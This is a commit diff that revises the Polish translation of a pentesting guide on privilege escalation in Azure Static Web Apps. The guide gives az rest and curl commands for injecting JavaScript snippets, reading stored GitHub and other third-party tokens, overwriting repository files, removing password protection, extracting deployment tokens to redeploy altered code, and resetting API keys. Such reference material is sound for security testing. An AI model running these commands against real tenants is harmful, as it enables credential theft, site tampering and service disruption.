Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-18 11:54:36 +00:00
parent a49b625ab3
commit fe49784045
@@ -4,7 +4,7 @@
## Azure Static Web Apps
Aby uzyskać więcej informacji na temat tej usługi, sprawdź:
Aby uzyskać więcej informacji o tej usłudze, zobacz:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@ Aby uzyskać więcej informacji na temat tej usługi, sprawdź:
### Microsoft.Web/staticSites/snippets/write
Możliwe jest załadowanie dowolnego kodu HTML na statycznej stronie internetowej poprzez utworzenie fragmentu. Może to pozwolić atakującemu na wstrzyknięcie kodu JS do aplikacji internetowej i kradzież wrażliwych informacji, takich jak dane logowania lub klucze mnemoniczne (w portfelach web3).
Możliwe jest sprawienie, że statyczna strona załaduje dowolny kod HTML poprzez utworzenie snippet. To może pozwolić atakującemu na wstrzyknięcie kodu JS do web app i kradzież wrażliwych informacji, takich jak poświadczenia czy mnemonic keys (w web3 wallets).
Poniższe polecenie tworzy fragment, który zawsze będzie ładowany przez aplikację internetową::
Poniższe polecenie tworzy snippet, który będzie zawsze ładowany przez web app::
```bash
az rest \
--method PUT \
@@ -31,22 +31,22 @@ az rest \
}
}'
```
### Odczytaj skonfigurowane dane uwierzytelniające stron trzecich
### Odczyt skonfigurowanych poświadczeń stron trzecich
Jak wyjaśniono w sekcji App Service:
As explained in the App Service section:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
Uruchamiając następujące polecenie, można **odczytać dane uwierzytelniające stron trzecich** skonfigurowane w bieżącym koncie. Należy zauważ, że jeśli na przykład jakieś dane uwierzytelniające Github są skonfigurowane w innym użytkowniku, nie będziesz w stanie uzyskać dostępu do tokena z innego.
Uruchamiając poniższe polecenie, można **odczytać poświadczenia stron trzecich** skonfigurowane na bieżącym koncie. Zauważ, że jeśli na przykład niektóre poświadczenia Github są skonfigurowane dla innego użytkownika, nie będziesz w stanie uzyskać dostępu do tokena z innego konta.
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
To polecenie zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
Ta komenda zwraca tokeny dla Github, Bitbucket, Dropbox i OneDrive.
Oto kilka przykładów poleceń do sprawdzenia tokenów:
Poniżej znajdują się przykłady poleceń do sprawdzenia tokenów:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
@@ -69,14 +69,14 @@ curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Overwrite file - Overwrite routes, HTML, JS...
### Nadpisanie pliku - Nadpisanie tras, HTML, JS...
Możliwe jest **nadpisanie pliku w repozytorium Github** zawierającym aplikację przez Azure, mając **token Github**, wysyłając żądanie takie jak poniższe, które wskaże ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość o commicie.
Jest możliwe **nadpisanie pliku w repozytorium Github** zawierającego aplikację poprzez Azure posiadający **Github token**, wysyłając żądanie takie jak poniższe, które określi ścieżkę pliku do nadpisania, zawartość pliku oraz wiadomość commita.
Może to być wykorzystywane przez atakujących do zasadniczo **zmiany zawartości aplikacji webowej** w celu serwowania złośliwej zawartości (kradzież poświadczeń, kluczy mnemonicznych...) lub po prostu do **przekierowywania niektórych ścieżek** na własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`.
To może być wykorzystane przez atakujących, aby de facto **zmienić zawartość aplikacji webowej** w celu serwowania złośliwych treści (kradzież poświadczeń, słów mnemonicznych...) lub po prostu **przekierować określone ścieżki** na ich własne serwery poprzez nadpisanie pliku `staticwebapp.config.json`.
> [!WARNING]
> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób skompromitować repozytorium Github, mogą również bezpośrednio nadpisać plik z Github.
> Zauważ, że jeśli atakujący zdoła w jakikolwiek sposób przejąć repozytorium Github, mogą oni także nadpisać plik bezpośrednio z Github.
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -99,7 +99,7 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
```
### Microsoft.Web/staticSites/config/write
Dzięki temu uprawnieniu możliwe jest **zmodyfikowanie hasła** chroniącego statyczną aplikację webową lub nawet usunięcie ochrony z każdego środowiska, wysyłając żądanie takie jak poniższe:
Dzięki temu uprawnieniu można **zmienić hasło** chroniące static web app lub nawet usunąć ochronę ze wszystkich środowisk, wysyłając żądanie takie jak poniższe:
```bash
# Change password
az rest --method put \
@@ -133,32 +133,38 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
To uprawnienie pozwala na uzyskanie **tokena klucza API do wdrożenia** dla aplikacji statycznej:
To uprawnienie pozwala pobrać **API key deployment token** dla aplikacji statycznej.
Używając az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Aby **zaktualizować aplikację za pomocą tokena**, możesz uruchomić następujące polecenie. Zauważ, że to polecenie zostało wyciągnięte z analizy **jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, ponieważ jest to domyślne ustawienie Azure. Obraz i parametry mogą się zmienić w przyszłości.
Korzystanie z AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Następnie, aby **zaktualizować aplikację używając tokena** możesz uruchomić następujące polecenie. Zwróć uwagę, że to polecenie zostało wyciągnięte poprzez sprawdzenie, jak działa Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy), ponieważ to właśnie ten, który Azure ustawił domyślnie do użycia. Zatem obraz i parametry mogą zmienić się w przyszłości.
> [!TIP]
> Aby wdrożyć aplikację, możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub postępować zgodnie z następującymi krokami:
> Aby wdrożyć aplikację możesz użyć narzędzia **`swa`** z [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) lub wykonać następujące kroki:
1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub inne repozytorium, które chcesz wdrożyć) i uruchom `cd react-basic`.
2. Zmień kod, który chcesz wdrożyć.
3. Wdróż go, uruchamiając (pamiętaj, aby zmienić `<api-token>`):
1. Pobierz repozytorium [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (lub dowolne inne repo, które chcesz wdrożyć) i uruchom `cd react-basic`.
2. Zmień kod, który chcesz wdrożyć
3. Wdróż je uruchamiając (pamiętaj, aby zmienić `<api-token>`):
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> Nawet jeśli masz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Polityka Autoryzacji Wdrożenia** jest ustawiona na **Github**. Aby użyć tokena, będziesz potrzebować uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia na użycie tokena API.
> Nawet jeśli posiadasz token, nie będziesz w stanie wdrożyć aplikacji, jeśli **Deployment Authorization Policy** jest ustawiona na **Github**. Aby użyć tokenu, będziesz potrzebować uprawnienia `Microsoft.Web/staticSites/write`, aby zmienić metodę wdrożenia i użyć tokenu API.
### Microsoft.Web/staticSites/write
Dzięki temu uprawnieniu możliwe jest **zmienienie źródła statycznej aplikacji webowej na inne repozytorium Github**, jednak nie zostanie to automatycznie zrealizowane, ponieważ musi to być zrobione z poziomu Github Action.
Z tym uprawnieniem możliwe jest **zmienienie źródła static web app na inne repozytorium Github**, jednak nie zostanie ono automatycznie sprovisionowane, ponieważ musi to zostać wykonane z poziomu Github Action.
Jednakże, jeśli **Polityka Autoryzacji Wdrożenia** jest ustawiona na **Github**, możliwe jest **aktualizowanie aplikacji z nowego repozytorium źródłowego!**.
Jednak jeśli **Deployment Authorization Policy** jest ustawiona na **Github**, możliwe jest **zaktualizowanie aplikacji z nowego repozytorium źródłowego!**.
W przypadku, gdy **Polityka Autoryzacji Wdrożenia** nie jest ustawiona na Github, możesz ją zmienić za pomocą tego samego uprawnienia `Microsoft.Web/staticSites/write`.
W przypadku gdy **Deployment Authorization Policy** nie jest ustawiona na Github, możesz ją zmienić przy użyciu tego samego uprawnienia `Microsoft.Web/staticSites/write`.
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -181,7 +187,7 @@ az rest --method PATCH \
}
}'
```
Przykładowa akcja Github do wdrożenia aplikacji:
Przykładowy Github Action do wdrożenia aplikacji:
```yaml
name: Azure Static Web Apps CI/CD
@@ -244,16 +250,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
Dzięki temu uprawnieniu możliwe jest **zresetowanie klucza API statycznej aplikacji webowej**, co może potencjalnie spowodować DoS dla procesów automatycznie wdrażających aplikację.
Dzięki temu uprawnieniu możliwe jest **zresetować API key dla static web app**, co może potencjalnie DoSing workflows, które automatycznie deployują aplikację.
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
To uprawnienie pozwala na **utworzenie zaproszenia dla użytkownika** do uzyskania dostępu do chronionych ścieżek wewnątrz statycznej aplikacji webowej z określoną rolą.
To uprawnienie pozwala **utworz zaproszenie dla użytkownika**, aby uzyskał on dostęp do chronionych ścieżek wewnątrz static web app z określoną rolą.
Logowanie znajduje się w ścieżce takiej jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownik może być zaproszony za pomocą następującego polecenia:
Logowanie znajduje się pod ścież taką jak `/.auth/login/github` dla github lub `/.auth/login/aad` dla Entra ID, a użytkownika można zapros za pomocą następującego polecenia:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -266,12 +272,12 @@ az staticwebapp users invite \
```
### Pull Requests
Domyślnie Pull Requests z gałęzi w tym samym repozytorium będą automatycznie kompilowane i budowane w środowisku staging. Może to być nadużywane przez atakującego z dostępem do zapisu w repozytorium, ale bez możliwości obejścia ochrony gałęzi produkcyjnej (zwykle `main`), aby **wdrożyć złośliwą wersję aplikacji** w URL staging.
Domyślnie Pull Requests z gałęzi w tym samym repo zostaną automatycznie skompilowane i zbudowane w środowisku staging. To może być wykorzystane przez atakującego mającego uprawnienia do zapisu w repo, ale niezdolnego do obejścia ochrony gałęzi produkcyjnej (zwykle `main`), aby **wdrożyć złośliwą wersję aplikacji** pod adresem URL środowiska staging.
URL staging ma ten format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` jak: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Zauważ, że domyślnie zewnętrzne PR-y nie uruchomią workflow, chyba że połączą przynajmniej 1 PR z repozytorium. Atakujący mógłby wysłać ważny PR do repozytorium, a **następnie wysłać złośliwy PR** do repozytorium, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje niespodziewana ochrona, domyślna akcja Github do wdrażania w statycznej aplikacji webowej potrzebuje dostępu do sekretu zawierającego token wdrożeniowy (jak `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), nawet jeśli wdrożenie jest realizowane za pomocą IDToken. Oznacza to, że ponieważ zewnętrzny PR nie będzie miał dostępu do tego sekretu, a zewnętrzny PR nie może zmienić Workflow, aby umieścić tutaj dowolny token bez zaakceptowania PR, **ten atak naprawdę nie zadziała**.
> Zauważ, że domyślnie external PRs nie uruchamiają workflows, chyba że wcześniej scalono przynajmniej 1 PR w repozytorium. Atakujący mógłby wysłać prawidłowy PR do repo, a następnie **wysłać złośliwy PR**, aby wdrożyć złośliwą aplikację w środowisku staging. JEDNAK istnieje nieoczekiwana ochrona: domyślny Github Action do deployowania do static web app wymaga dostępu do secret zawierającego token deploy (np. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) nawet jeśli deploy jest wykonywany przy użyciu IDToken. Oznacza to, że ponieważ external PR nie będzie miał dostępu do tego secret i external PR nie może zmienić Workflow, aby umieścić tam dowolny token bez zaakceptowania PR, **ten atak w praktyce nie zadziała**.
{{#include ../../../banners/hacktricks-training.md}}